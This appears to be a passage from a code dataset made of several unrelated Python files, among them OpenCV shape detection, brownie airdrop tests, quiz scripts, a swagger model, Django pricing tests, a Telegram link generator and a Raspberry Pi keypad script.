cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n            cv2.putText(img_warped, str(x_mm), (80, 60), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n            cv2.putText(img_warped, str(degree), (80, 80), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n            cv2.putText(img_warped, str(shape), (80, 100), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n            cv2.putText(img_warped, str(color_code), (80, 120), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n            cv2.putText(img_warped, get_color(color_code), (100, 120), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n\n            print(type(x_mm), type(y_mm), type(shape), type(degree), type(color_code), color_code)\n            if color_code == 1:\n                if count_yellow == 0:\n                    x_mm_temp_yellow = x_mm\n                    y_mm_temp_yellow = y_mm\n                    count_yellow = 1\n                elif count_yellow == 1:\n\n                    x_change_yellow = abs(x_mm_temp_yellow - x_mm)\n                    y_change_yellow = abs(y_mm_temp_yellow - y_mm)\n                    count_yellow = 0\n                    print(\"x_change: \", x_change_yellow)\n                    print(\"y_change: \", y_change_yellow)\n                    if x_change_yellow < 3 and y_change_yellow < 3:\n                        count_mov_yellow += 1\n                    else:\n                        count_mov_yellow = 0\n\n                if count_mov_yellow > delay:\n                    print(\"sending to plc\")\n                    connect.to_plc(int(y_mm), int(x_mm), shape, color_code,\n                                   degree)  # veranderd naar int (tim) was eerst floats\n                    ready = False\n                    count_yellow = 0\n                    count_mov_yellow = 0\n                    count_mov_rd = 0\n\n            if color_code == 2:\n                if count_red == 0:\n                    x_mm_temp_red = x_mm\n                    y_mm_temp_red = y_mm\n                    count_red = 1\n                elif count_red == 1:\n\n                    x_change_red = abs(x_mm_temp_red - x_mm)\n                    y_change_red = abs(y_mm_temp_red - y_mm)\n                    count_red = 0\n                    print(\"x_change: \", x_change_red)\n                    print(\"y_change: \", y_change_red)\n                    if x_change_red < 3 and y_change_red < 3:\n                        count_mov_red += 1\n                    else:\n                        count_mov_red = 0\n\n                if count_mov_red > delay:\n                    print(\"sending to plc\")\n                    connect.to_plc(int(y_mm), int(x_mm), shape, color_code,\n                                   degree)  # veranderd naar int (tim) was eerst floats\n                    ready = False\n                    count_red = 0\n                    count_mov_red = 0\n                    count_mov_yellow = 0\n\n            print(\"Count: \", count_red)\n            print(\"Count_mov\", count_mov_red)\n\n\n\n        # If shape not found, tmp == false, print error message and go on\n        else:\n            print(str1 + \"Didn't found a shape with color: \" + str2, get_color(color_code))\n\n        # Shape found or not, let's check the next color\n        color_code = next_color(color_code)\n\n        # Show images to windows\n        cv2.putText(img_warped, \"X_mm:\", (10, 40), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n        cv2.putText(img_warped, \"Y_mm:\", (10, 60), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n        cv2.putText(img_warped, \"Angle:\", (10, 80), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n        cv2.putText(img_warped, \"Block:\", (10, 100), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n        cv2.putText(img_warped, \"Color:\", (10, 120), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 2)\n        cv2.imshow(\"beeld1\", img)\n        cv2.imshow(\"beeld2\", img_color)\n        cv2.imshow(\"beeld3\", img_edges)\n        cv2.imshow(\"beeld4\", img_warped)\n        cv2.imwrite(\"gevonden.jpg\", img)\n        cv2.imwrite(\"edges.jpg\", img_edges)\n        cv2.imwrite(\"warped.jpg\", img_warped)\n\n        # Press esc to exit program\n        if cv2.waitKey(10) == 27:\n            break\n\nwebcam.release()\ncv2.destroyAllWindows()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"20285625","text":"import pytest\nfrom brownie.test import given, strategy\nfrom hypothesis import settings, Phase\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef module_setup(accounts, escrow, lp_token, airdrop_token):\n    for i in range(3):\n        lp_token._mint_for_testing(10**24, {'from': accounts[i]})\n        lp_token.approve(escrow, 10**24, {'from': accounts[i]})\n    escrow.add_token(airdrop_token, {'from': accounts[0]})\n    airdrop_token._mint_for_testing(10**24, {'from': accounts[3]})\n\n\n@pytest.fixture(scope=\"module\")\ndef airdrop_tokens(ERC20_Revert, accounts, airdrop_token, escrow):\n    token_list = [airdrop_token]\n    for i in range(2):\n        token = ERC20_Revert.deploy(\"Airdrop\", \"AD\", 18, {'from': accounts[0]})\n        token._mint_for_testing(10**24, {'from': accounts[3]})\n        escrow.add_token(token, {'from': accounts[0]})\n        token_list.append(token)\n\n    yield token_list\n\n\n@given(\n    st_deposits=strategy(\"uint256[3]\", min_value=10**17, max_value=10**21, unique=True),\n    st_airdrops=strategy(\"uint256[10]\", min_value=10**10, max_value=10**18, unique=True)\n)\n@settings(max_examples=10, phases=[Phase.generate, Phase.target])\ndef test_many_airdrops_single_claim(accounts, rpc, escrow, airdrop_token, st_deposits, st_airdrops):\n    \"\"\"\n    Verify correct claim amount from a single claim of many airdrops.\n    \"\"\"\n\n    # initial deposits of `lp_token`\n    total_deposited = sum(st_deposits)\n    for i in range(3):\n        escrow.deposit(st_deposits[i], {'from': accounts[i]})\n\n    # ensure claims are in a new token epoch\n    rpc.sleep(86400 * 7)\n\n    # perform 10 airdrops\n    for amount in st_airdrops:\n        rpc.sleep(14)\n        airdrop_token.transfer(escrow, amount, {'from': accounts[3]})\n        escrow.checkpoint()\n\n    # ensure claims are in a new token epoch\n    rpc.sleep(86400 * 7)\n\n    # claim the tokens\n    received = [0, 0, 0]\n    for i in range(3):\n        escrow.claim(airdrop_token, {'from': accounts[i]})\n        received[i] = airdrop_token.balanceOf(accounts[i])\n\n    # total dust should be less than 1%\n    assert 0.99 < sum(received) / sum(st_airdrops) <= 1\n\n    # actual amounts received should be less than 1% off expected amounts\n    for i in range(3):\n        expected_pct = st_deposits[i] / total_deposited\n        received_pct = received[i] / sum(received)\n        assert abs(expected_pct - received_pct) < 0.01\n\n\n@given(\n    st_deposits=strategy(\"uint256[3]\", min_value=10**17, max_value=10**21, unique=True),\n    st_airdrops=strategy(\"uint256[10]\", min_value=10**10, max_value=10**18, unique=True)\n)\n@settings(max_examples=10)\ndef test_many_airdrops_many_claims(accounts, rpc, escrow, airdrop_token, st_deposits, st_airdrops):\n    \"\"\"\n    Verify correct claim amounts over multiple claims.\n    \"\"\"\n\n    # make initial deposits of `lp_token`\n    total_deposited = sum(st_deposits)\n    for i in range(3):\n        escrow.deposit(st_deposits[i], {'from': accounts[i]})\n\n    for amount in st_airdrops:\n\n        # ensure each claim is in a new token epoch\n        rpc.sleep(86400 * 7)\n\n        airdrop_token.transfer(escrow, amount, {'from': accounts[3]})\n\n        received = [0, 0, 0]\n        for i in range(3):\n            balance = airdrop_token.balanceOf(accounts[i])\n            escrow.claim(airdrop_token, {'from': accounts[i]})\n            received[i] = airdrop_token.balanceOf(accounts[i]) - balance\n\n        # dust should be less than 0.1%\n        assert 0.999 < sum(received) / amount <= 1\n\n        # actual amounts received should be less than 0.1% off expected amounts\n        for i in range(3):\n            expected_pct = st_deposits[i] / total_deposited\n            received_pct = received[i] / sum(received)\n            assert abs(expected_pct - received_pct) < 0.001\n\n\n@given(\n    st_deposits=strategy(\"uint256[3]\", min_value=10**17, max_value=10**21, unique=True),\n    st_airdrops=strategy(\"uint256[3][5]\", min_value=10**10, max_value=10**18),\n)\n@settings(max_examples=10)\ndef test_multiple_airdrop_tokens(accounts, rpc, escrow, airdrop_tokens, st_deposits, st_airdrops):\n    \"\"\"\n    Verify correct claim amount over multiple claims with several tokens.\n    \"\"\"\n\n    # make initial deposits of `lp_token`\n    total_deposited = sum(st_deposits)\n    for i in range(3):\n        escrow.deposit(st_deposits[i], {'from': accounts[i]})\n\n    for amounts in st_airdrops:\n\n        # ensure each claim is in a new token epoch\n        rpc.sleep(86400 * 7)\n\n        for i in range(3):\n            airdrop_tokens[i].transfer(escrow, amounts[i], {'from': accounts[3]})\n            escrow.checkpoint()\n\n        for token, amount in zip(airdrop_tokens, amounts):\n            received = [0, 0, 0]\n            for i in range(3):\n                balance = token.balanceOf(accounts[i])\n                escrow.claim(token, {'from': accounts[i]})\n                received[i] = token.balanceOf(accounts[i]) - balance\n\n            # dust should be less than 0.1%\n            assert 0.999 < sum(received) / amount <= 1\n\n            # actual amounts received should be less than 0.1% off expected amounts\n            for i in range(3):\n                expected_pct = st_deposits[i] / total_deposited\n                received_pct = received[i] / sum(received)\n                assert abs(expected_pct - received_pct) < 0.001\n\n\n@given(\n    st_transfers=strategy(\"uint256[9]\", min_value=10**17, max_value=10**18, unique=True),\n    st_airdrops=strategy(\"uint256[9]\", min_value=10**10, max_value=10**18, unique=True)\n)\n@settings(max_examples=10)\ndef test_claims_with_adjusted_deposits(\n    accounts, rpc, alice, escrow, airdrop_token, st_transfers, st_airdrops\n):\n    \"\"\"\n    Verify correct amount over multiple claims, with changing `lp_token` balances.\n    \"\"\"\n\n    # alice makes the only initial deposit\n    escrow.deposit(10**19, {'from': alice})\n    balances = [10**19]\n\n    for receiver, transfer_amount, airdrop_amount in zip(accounts[1:], st_transfers, st_airdrops):\n\n        # transfer a portion of alice's balance to another account\n        rpc.sleep(1)\n        escrow.transfer(receiver, transfer_amount, {'from': alice})\n        balances[0] -= transfer_amount\n        balances.append(transfer_amount)\n\n        # perform an airdrop\n        airdrop_token.transfer(escrow, airdrop_amount, {'from': accounts[3]})\n        rpc.sleep(86400 * 7)\n\n        # claim airdrop tokens\n        received = []\n        for i in range(len(balances)):\n            balance = airdrop_token.balanceOf(accounts[i])\n            escrow.claim(airdrop_token, {'from': accounts[i]})\n            received.append(airdrop_token.balanceOf(accounts[i]) - balance)\n\n        # dust should be less than 0.1%\n        assert 0.999 < sum(received) / airdrop_amount <= 1\n\n        # actual amounts received should be less than 0.1% off expected amounts\n        for i in range(len(balances)):\n            expected_pct = balances[i] / sum(balances)\n            received_pct = received[i] / sum(received)\n            assert abs(expected_pct - received_pct) < 0.001\n","sub_path":"tests/integration/test_claim_airdrops.py","file_name":"test_claim_airdrops.py","file_ext":"py","file_size_in_byte":6962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"111818180","text":"\"\"\"\nSimple command-line tool to ask MC-questions.\n\"\"\"\n\nimport json\nimport random\nimport sys\nfrom timer import Timer\n\n\nDEFAULT_INPUT = 'questions/piliin.json'\nTIME_LIMIT = 30\n\n\ndef shuffle(answers):\n    \"\"\"\n    Returns mixed answers and the index of the correct one,\n    assuming the first answer is the correct one.\n    \"\"\"\n    indices = list(range(len(answers)))\n    random.shuffle(indices)\n    correct = indices.index(0)\n    answers = [answers[i] for i in indices]\n    return answers, correct\n\n\ndef ask_question(question):\n    print(\"\\n\\n{}\\n\".format(question[\"question\"]))\n    answers, correct = shuffle(question[\"answers\"])\n    correct = str(correct + 1)\n    for i, text in enumerate(answers):\n        print(\"[{}] {}\".format(i+1, text))\n    ans = input(\"\\nEnter your answer: \")\n    if ans == correct:\n        return True\n    return False\n\n\ndef quiz(questions):\n    n_correct = 0\n    timer = Timer(TIME_LIMIT)\n    for q in questions:\n        print('-' * 79)\n        print('\\nTime left: {:4.1f}'.format(timer.time_left))\n        if ask_question(q):\n            n_correct += 1\n        if timer.expired:\n            break\n    return n_correct\n\n\nif __name__ == '__main__':\n    username = input(\"\\nEnter your name: \")\n    bb = input(\"\\nEnter the name of your bb: \")\n    if len(sys.argv) == 2:\n        fn = sys.argv[1]\n    else:\n        fn = DEFAULT_INPUT\n\n    with open(fn) as f:\n        questions = json.load(f)\n        n_correct = quiz(questions)\n        print('\\nCorrect answers: {}'.format(n_correct) + \" over 5\")\n        if n_correct < 3:\n            print(\"Fail. Hay naku, \" + username + \". Mali ang pinili mo. \" + bb + \"  will be mad.\")\n        else: \n            print(\"Pass. Congrats \" + username + \". Tama ang pinili mo. \" + bb + \" will be proud.\")\n","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"517632095","text":"import matplotlib.image as mpimg\n\ndef readImage(filename, factor):\n    img=mpimg.imread(filename)\n    k = img[:,:,0]\n    Nx = k.shape[1]\n    Ny = k.shape[0]\n    for j in range(Nx):\n        for i in range(Ny):\n            if k[i,j] == 0.0:\n                k[i,j] = 0.1\n            if k[i,j] < 1.0:\n                k[i,j] *= factor                \n\n    return k.transpose()\n","sub_path":"Tareas/01/phys_data.py","file_name":"phys_data.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"468582503","text":"# coding: utf-8\n\n\"\"\"\nIscsiInterfaceStatistics.py\n\n The Clear BSD License\n\n Copyright (c) – 2016, NetApp, Inc. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n * Neither the name of NetApp, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\n NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nfrom pprint import pformat\nfrom six import iteritems\n\n\nclass IscsiInterfaceStatistics(object):\n    \"\"\"\n    NOTE: This class is auto generated by the swagger code generator program.\n    Do not edit the class manually.\n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        IscsiInterfaceStatistics - a model defined in Swagger\n\n        :param dict swaggerTypes: The key is attribute name\n                                  and the value is attribute type.\n        :param dict attributeMap: The key is attribute name\n                                  and the value is json key in definition.\n        \"\"\"\n        self.swagger_types = {\n            'ethernet_port_stats': 'list[EthernetPortStatistics]',  # (required parameter)\n            'tcp_stats': 'list[TcpStatisticalData]',  # (required parameter)\n            'ip_stats': 'list[IpEndpointStatistics]',  # (required parameter)\n            'enh_stats': 'list[EnhancedEthernetStatistics]'\n        }\n\n        self.attribute_map = {\n            'ethernet_port_stats': 'ethernetPortStats',  # (required parameter)\n            'tcp_stats': 'tcpStats',  # (required parameter)\n            'ip_stats': 'ipStats',  # (required parameter)\n            'enh_stats': 'enhStats'\n        }\n\n        self._ethernet_port_stats = None\n        self._tcp_stats = None\n        self._ip_stats = None\n        self._enh_stats = None\n\n    @property\n    def ethernet_port_stats(self):\n        \"\"\"\n        Gets the ethernet_port_stats of this IscsiInterfaceStatistics.\n        Statistics related to the physical Ethernet port.\n\n        :return: The ethernet_port_stats of this IscsiInterfaceStatistics.\n        :rtype: list[EthernetPortStatistics]\n        :required/optional: required\n        \"\"\"\n        return self._ethernet_port_stats\n\n    @ethernet_port_stats.setter\n    def ethernet_port_stats(self, ethernet_port_stats):\n        \"\"\"\n        Sets the ethernet_port_stats of this IscsiInterfaceStatistics.\n        Statistics related to the physical Ethernet port.\n\n        :param ethernet_port_stats: The ethernet_port_stats of this IscsiInterfaceStatistics.\n        :type: list[EthernetPortStatistics]\n        \"\"\"\n        self._ethernet_port_stats = ethernet_port_stats\n\n    @property\n    def tcp_stats(self):\n        \"\"\"\n        Gets the tcp_stats of this IscsiInterfaceStatistics.\n        Statistics related to the TCP protocol.\n\n        :return: The tcp_stats of this IscsiInterfaceStatistics.\n        :rtype: list[TcpStatisticalData]\n        :required/optional: required\n        \"\"\"\n        return self._tcp_stats\n\n    @tcp_stats.setter\n    def tcp_stats(self, tcp_stats):\n        \"\"\"\n        Sets the tcp_stats of this IscsiInterfaceStatistics.\n        Statistics related to the TCP protocol.\n\n        :param tcp_stats: The tcp_stats of this IscsiInterfaceStatistics.\n        :type: list[TcpStatisticalData]\n        \"\"\"\n        self._tcp_stats = tcp_stats\n\n    @property\n    def ip_stats(self):\n        \"\"\"\n        Gets the ip_stats of this IscsiInterfaceStatistics.\n        Statistics related to the IP protocol.\n\n        :return: The ip_stats of this IscsiInterfaceStatistics.\n        :rtype: list[IpEndpointStatistics]\n        :required/optional: required\n        \"\"\"\n        return self._ip_stats\n\n    @ip_stats.setter\n    def ip_stats(self, ip_stats):\n        \"\"\"\n        Sets the ip_stats of this IscsiInterfaceStatistics.\n        Statistics related to the IP protocol.\n\n        :param ip_stats: The ip_stats of this IscsiInterfaceStatistics.\n        :type: list[IpEndpointStatistics]\n        \"\"\"\n        self._ip_stats = ip_stats\n\n    @property\n    def enh_stats(self):\n        \"\"\"\n        Gets the enh_stats of this IscsiInterfaceStatistics.\n        This member is used to report statistical data related to Enhanced Ethernet features.\n\n        :return: The enh_stats of this IscsiInterfaceStatistics.\n        :rtype: list[EnhancedEthernetStatistics]\n        :required/optional: required\n        \"\"\"\n        return self._enh_stats\n\n    @enh_stats.setter\n    def enh_stats(self, enh_stats):\n        \"\"\"\n        Sets the enh_stats of this IscsiInterfaceStatistics.\n        This member is used to report statistical data related to Enhanced Ethernet features.\n\n        :param enh_stats: The enh_stats of this IscsiInterfaceStatistics.\n        :type: list[EnhancedEthernetStatistics]\n        \"\"\"\n        self._enh_stats = enh_stats\n\n    def to_dict(self):\n        \"\"\"\n        Returns the model properties as a dict\n        \"\"\"\n        result = {}\n\n        for attr, _ in iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"\n        Returns the string representation of the model\n        \"\"\"\n        return pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"\n        For `print` and `pprint`\n        \"\"\"\n        if self is None:\n           return None\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"\n        Returns true if both objects are equal\n        \"\"\"\n        if self is None or other is None:\n            return None\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"\n        Returns true if both objects are not equal\n        \"\"\"\n        return not self == other\n\n","sub_path":"netapp/santricity/models/symbol/iscsi_interface_statistics.py","file_name":"iscsi_interface_statistics.py","file_ext":"py","file_size_in_byte":7562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"565922681","text":"import tensorflow as tf\n\nclass Logger(object):\n    \"\"\"Logging in tensorboard without tensorflow ops.\"\"\"\n    def __init__(self, log_dir):\n        \"\"\"Creates a summary writer logging to log_dir.\"\"\"\n        self.writer = tf.summary.FileWriter(log_dir)\n        self.metrics = {}\n\n    def __call__(self, tag, value, step):\n        \"\"\"Log a scalar variable.\n        Parameter\n        ----------\n        tag : basestring\n            Name of the scalar\n        value : scalar value\n            value\n        step : int\n            training iteration\n        \"\"\"\n        if tag not in self.metrics:\n            _metric = tf.Summary()\n            _metric.value.add(tag=tag, simple_value=None)\n            self.metrics[tag] = _metric\n\n        summary = self.metrics[tag]\n\n        summary.value[0].simple_value = value\n        self.writer.add_summary(summary, step)","sub_path":"uniparse/utility/tensorboard_logging.py","file_name":"tensorboard_logging.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"95505916","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom datetime import datetime, date\n\nfrom django.test import TestCase\n\nfrom ralph_pricing.models import UsageType, DailyUsage, Device\nfrom ralph_pricing.plugins.collects.virtual import (\n    get_or_create_usages,\n    update_usage,\n    update,\n)\nfrom ralph_pricing.tests.utils import (\n    get_or_create_device,\n    get_or_create_venture,\n)\n\n\nclass TestVirtualPlugin(TestCase):\n    def setUp(self):\n        self.device = get_or_create_device()\n        self.venture = get_or_create_venture()\n\n    def _get_usages(self):\n        usage_names = {\n            'virtual_cores': 'Virtual CPU cores',\n            'virtual_disk': 'Virtual disk MB',\n            'virtual_memory': 'Virtual memory MB',\n        }\n\n        return get_or_create_usages(usage_names)\n\n    def test_get_usages(self):\n        usages = self._get_usages()\n        usages_from_database = UsageType.objects.all().order_by('name')\n\n        self.assertEqual(usages['virtual_cores'], usages_from_database[0])\n        self.assertEqual(usages['virtual_disk'], usages_from_database[1])\n        self.assertEqual(usages['virtual_memory'], usages_from_database[2])\n\n    def test_update_usage_when_there_is_no_value(self):\n        update_usage(\n            self.device,\n            self.venture,\n            self._get_usages()['virtual_cores'],\n            datetime.today(),\n            None,\n        )\n        self.assertItemsEqual(DailyUsage.objects.all(), [])\n\n    def test_update_usage(self):\n        usages = self._get_usages()\n        update_usage(\n            self.device,\n            self.venture,\n            usages['virtual_cores'],\n            date.today(),\n            1,\n        )\n\n        daily_usages = DailyUsage.objects.all()\n        self.assertEqual(daily_usages.count(), 1)\n        self.assertEqual(daily_usages[0].pricing_device, self.device)\n        self.assertEqual(daily_usages[0].pricing_venture, self.venture)\n        self.assertEqual(daily_usages[0].type, usages['virtual_cores'])\n        self.assertEqual(daily_usages[0].value, 1)\n\n    def test_update_when_device_id_is_none(self):\n        update({}, self._get_usages(), date.today())\n\n        self.assertItemsEqual(Device.objects.all(), [self.device])\n\n    def test_update_when_venture_id_is_none(self):\n        data = {\n            'device_id': 1,\n            'virtual_cores': 1,\n            'virtual_disk': 1,\n            'virtual_memory': 1,\n        }\n        update(data, self._get_usages(), date.today())\n\n        daily_usages = DailyUsage.objects.all()\n        self.assertEqual(daily_usages.count(), 0)\n        for daily_usage in daily_usages:\n            self.assertEqual(daily_usage.pricing_venture, None)\n\n    def test_update(self):\n        data = {\n            'device_id': 1,\n            'venture_id': 1,\n            'virtual_cores': 1,\n            'virtual_disk': 1,\n            'virtual_memory': 1,\n        }\n        update(data, self._get_usages(), date.today())\n\n        daily_usages = DailyUsage.objects.all()\n        self.assertEqual(daily_usages.count(), 3)\n        for daily_usage in daily_usages:\n            self.assertEqual(daily_usage.pricing_venture.venture_id, 1)\n","sub_path":"src/ralph_pricing/tests/plugins/collect_plugins/test_virtual.py","file_name":"test_virtual.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"239686916","text":"import random, string, itertools\nfrom print_handler import print_func\nimport string\n\nALPHABET_FIRST = string.ascii_lowercase\nALPHABET_LAST = ALPHABET_FIRST + string.digits\nALPHABET = ALPHABET_LAST + '_'\n\ndef random_addresses():\n    while True:\n        len_link = random.randint(5, 32)\n        link = random.choices(ALPHABET_FIRST)\n        link += random.choices(ALPHABET, k=len_link - 2)\n        link += random.choices(ALPHABET_LAST)\n        yield ''.join(link)\n\n\ndef linear_addresses(seed, first=True):\n    if len(seed) == 1:\n        for letter in letters(ALPHABET_LAST, seed[0]):\n            yield letter\n    else:\n        if first:\n            alphabet = ALPHABET_FIRST\n        else:\n            alphabet = ALPHABET\n        \n        for link in linear_addresses(seed[1:], False):\n            yield seed[0] + link\n        \n        new_seed = 'a' * (len(seed) - 1)\n        for letter in letters(alphabet, seed[0], 1):\n            for link in linear_addresses(new_seed, False):\n                yield letter + link\n\n\ndef letters(alphabet, start='a', shift=0):\n    position = alphabet.index(start)\n    for letter in alphabet[position+shift:]:\n        yield letter\n\n# def mutation_address_generator(link):\n#     mutated_array = []\n#     replacements = \"\"\"\n# a=4\n# b=6\n# e=3\n# f=8\n# g=9\n# i=1\n# l=1\n# o=0\n# s=5\n# t=7\n# z=2\n# \"\"\"\n#     try:\n#         open('mutated', 'r').read()\n#\n#     except FileNotFoundError:\n#         mutated_replacement_set = set()\n#         mutated_array = []\n#         link = [link]\n#         mutations = ['_', 'xxx']\n#         for number_of_connected_mutations in range(1, len(mutations) + 2):\n#             for mutation_tuple in itertools.permutations(link + mutations, number_of_connected_mutations):\n#                 mutation_word = ''.join(mutation_tuple)\n#                 if link[0] in mutation_word or link[0] == mutation_word:\n#                     if len(mutation_word) > 4 and len(mutation_word) < 33:\n#                         if mutation_word[0] not in ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_'] and \\\n#                                 mutation_word[-1] not in ['_']:\n#                             mutated_replacement_set.add(mutation_word)\n#\n#         d = {c: [c] for c in string.printable}\n#         for line in replacements.strip().split(\"\\n\"):\n#             c, replacement = line.split(\"=\")\n#             d[c].append(replacement)\n#\n#         for link in mutated_replacement_set:\n#             for letters in itertools.product(*[d[c] for c in link]):\n#                 mutated_address = \"\".join(letters)\n#                 if mutated_address[0] not in ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_']:\n#                     mutated_array.append(mutated_address)\n#         return mutated_array\n","sub_path":"telegram_parser/link_generator.py","file_name":"link_generator.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"301277115","text":"def eval(x, y, sign):\n    if sign == '+':\n        result = x + y\n    elif sign == '-':\n        result = x - y\n    elif sign == '*':\n        result = x * y\n    elif sign == '/':\n        result = x / y\n    return result\n\ndef generate_expression():\n    x = randint(0, 10)\n    y = randint(0, 10)\n    sign = choice(['+', '-', '*', '/'])\n    error = randint(-1, 1)\n    result = eval(x, y, sign) + error\n    return [x, y, sign, result]\n\ndef check_result(x, y, sign, result, answer):\n    expected_result = eval(x, y, sign)\n    if answer.lower() == 'y':\n        if result == expected_result:\n            return True\n        else:\n            return False\n    else:\n        if result != expected_result:\n            return True\n        else:\n            return False\n\nfrom random import randint, choice\n\nx, y, sign, result = generate_expression()\n\nprint(\"* \" * 10)\nprint(\"{0} {3} {1} = {2}\".format(x, y, result, sign))\nprint(\"* \" * 10)\nanswer = input(\"(Y/N)?\")\nif check_result(x, y, sign, result, answer):\n    print(\"Yay\")\nelse:\n    print(\"Wrong :(\")\n","sub_path":"functions/f_math_2.py","file_name":"f_math_2.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"78116143","text":"#initialization code (to be ran once)\nfrom datetime import datetime\nfrom picamera import PiCamera\ncamera = PiCamera()\ncamera.resolution = (1920, 1080)\n\nimport time\nimport RPi.GPIO as GPIO\nimport numpy as np\nGPIO.setmode(GPIO.BCM)\n\nbuttonRed = 24\nbuttonYellow = 25\nbuttonGreen = 26\nbuttonBlue = 27\n\nGPIO.setup(buttonRed, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)\nGPIO.setup(buttonYellow, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)\nGPIO.setup(buttonGreen, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)\nGPIO.setup(buttonBlue, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)\n\nimport pigpio\nimport math\npi = pigpio.pi(port = 8887)\n# Command for linux console for pigpio daemon\n#sudo pigpiod -p 8887\n\nbuzPin=18 # Piezoelectric buzzer\nTRIG = 20 # Trigger pin on HC-SR04\nECHO = 21 # Echo pin on HC-SR04. This is connected to a voltage divider to reduce 5 volt output to 3.3 v\n\nGPIO.setup(TRIG,GPIO.OUT)\nGPIO.setup(ECHO,GPIO.IN)\n\nclass Button:\n    def __init__(self):\n        self.pinArray = np.array([2,4,3,1]) # The true passcode\n        self.userArray = np.array([]) # The inputted passcode\n        self.count = 1 # Represents how many numbers are added to the user array\n    def button_press(self):\n        if GPIO.input(buttonRed) == True:\n            time.sleep(0.5)\n            self.userArray = np.append(self.userArray,1)\n            self.count+=1\n        if GPIO.input(buttonYellow) == True:\n            time.sleep(0.5)\n            self.userArray = np.append(self.userArray,2)\n            self.count+=1\n        if GPIO.input(buttonGreen) == True:\n            time.sleep(0.5)\n            self.userArray = np.append(self.userArray,3)\n            self.count+=1\n        if GPIO.input(buttonBlue) == True:\n            time.sleep(0.5)\n            self.userArray = np.append(self.userArray,4)\n            self.count+=1    \n    def full_length(self): # Checks if the user array is as long as the real passcode\n        return self.count > len(self.pinArray)\n    def 